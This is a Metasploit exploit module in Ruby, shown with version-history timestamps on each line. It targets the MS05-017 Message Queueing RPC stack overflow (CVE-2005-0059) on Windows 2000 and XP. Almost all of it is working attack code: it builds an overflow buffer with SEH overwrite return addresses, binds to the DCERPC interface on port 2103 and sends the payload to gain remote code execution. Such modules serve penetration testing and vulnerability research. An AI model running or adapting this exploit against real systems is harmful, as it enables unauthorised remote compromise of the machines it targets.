2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-02-21 03:34:41 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 00:48:03 +00:00
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft Message Queueing Service Path Overflow',
|
2005-11-26 02:33:39 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the RPC interface
|
2005-11-26 02:33:39 +00:00
|
|
|
to the Microsoft Message Queueing service. The offset to the
|
|
|
|
return address changes based on the length of the system
|
|
|
|
hostname, so this must be provided via the 'HNAME' option.
|
|
|
|
Much thanks to snort.org and Jean-Baptiste Marchand's
|
|
|
|
excellent MSRPC website.
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 02:33:39 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2005-0059'],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'OSVDB', '15458'],
|
2005-11-26 02:33:39 +00:00
|
|
|
[ 'MSB', 'MS05-017'],
|
2006-09-13 06:49:39 +00:00
|
|
|
[ 'BID', '13112'],
|
2005-11-26 02:33:39 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
2007-03-06 13:29:17 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
|
2005-11-26 04:04:49 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
},
|
2010-02-15 00:48:03 +00:00
|
|
|
'Targets' =>
|
2005-11-26 02:33:39 +00:00
|
|
|
[
|
|
|
|
[
|
|
|
|
'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 12 2005',
|
|
|
|
'DefaultTarget' => 0))
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
# Change the default port values to point at MSMQ
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2103),
|
|
|
|
OptString.new('HNAME', [ true, "The NetBIOS hostname of the target" ]),
|
2005-12-25 22:47:38 +00:00
|
|
|
], self.class)
|
2005-11-26 02:33:39 +00:00
|
|
|
end
|
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
def autofilter
|
|
|
|
# Common vulnerability scanning tools report port 445/139
|
|
|
|
# due to how they test for the vulnerability. Remap this
|
|
|
|
# back to 2103 for automated exploitation
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
rport = datastore['RPORT'].to_i
|
2010-02-15 00:48:03 +00:00
|
|
|
if ( rport == 445 or rport == 139 )
|
2006-09-17 08:00:37 +00:00
|
|
|
datastore['RPORT'] = 2103
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
# The NetBIOS hostname is required to exploit this bug reliably.
|
|
|
|
if (not datastore['HNAME'])
|
|
|
|
# XXX automatically determine the hostname
|
|
|
|
return false
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2006-09-17 08:00:37 +00:00
|
|
|
true
|
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
def exploit
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
# MSMQ supports three forms of queue names, the two we can use are
|
|
|
|
# the IP address and the hostname. If we use the IP address via the
|
|
|
|
# TCP: format, the offset to the SEH frame will change depending on
|
|
|
|
# the length of the real hostname. For this reason, we force the user
|
|
|
|
# to supply us with the actual hostname.
|
|
|
|
|
|
|
|
# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName
|
|
|
|
|
|
|
|
queue_name = "OS:#{datastore['HNAME']}";
|
2007-02-27 09:38:47 +00:00
|
|
|
queue_hlen = datastore['HNAME'].length * 2
|
|
|
|
queue_path = unicode(queue_name + "\\PRIVATE$\\")
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
buf = rand_text_english(4000, payload_badchars)
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Windows 2000 SEH offset goes first
|
2007-03-06 13:29:17 +00:00
|
|
|
buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
|
|
|
|
buf[372 - queue_hlen - 4, 2] = "\xeb\x22"
|
2005-11-26 02:33:39 +00:00
|
|
|
|
2005-12-13 06:08:40 +00:00
|
|
|
# Windows XP SEH offset goes second
|
|
|
|
seh = generate_seh_payload(target['Rets'][1])
|
2007-03-06 13:29:17 +00:00
|
|
|
buf[400 - queue_hlen - 4, seh.length] = seh
|
2005-11-26 02:33:39 +00:00
|
|
|
|
|
|
|
# Append the path to the location and null terminate it
|
|
|
|
queue_path << buf << "\x00\x00"
|
|
|
|
|
|
|
|
# Get the unicode length of this string
|
|
|
|
queue_plen = queue_path.length / 2
|
|
|
|
|
2006-05-30 15:44:33 +00:00
|
|
|
connect
|
|
|
|
print_status("Trying target #{target.name}...")
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2006-05-30 15:44:33 +00:00
|
|
|
handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
2010-02-15 00:48:03 +00:00
|
|
|
stubdata =
|
2006-01-27 05:00:35 +00:00
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(1) +
|
|
|
|
NDR.long(3) +
|
|
|
|
NDR.long(3) +
|
|
|
|
NDR.long(2) +
|
|
|
|
NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)
|
|
|
|
|
2006-03-30 15:06:41 +00:00
|
|
|
print_status('Sending exploit ...')
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2007-02-22 07:19:41 +00:00
|
|
|
response = dcerpc.call(9, stubdata)
|
2006-01-27 05:00:35 +00:00
|
|
|
|
|
|
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
|
|
|
case dcerpc.last_response.stub_data
|
2005-11-26 02:33:39 +00:00
|
|
|
when "\x20\x00\x0e\xc0"
|
|
|
|
print_status("The server rejected our request, the HNAME parameter could be incorrect")
|
|
|
|
when "\x1e\x00\x0e\xc0"
|
|
|
|
print_status("The server does not appear to be exploitable")
|
|
|
|
else
|
|
|
|
print_status("An unknown response was received from the server:")
|
2005-12-13 06:08:40 +00:00
|
|
|
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
|
2006-01-27 05:00:35 +00:00
|
|
|
end
|
|
|
|
end
|
2005-12-13 06:08:40 +00:00
|
|
|
|
2005-11-26 02:33:39 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|
2010-02-15 00:48:03 +00:00
|
|
|
|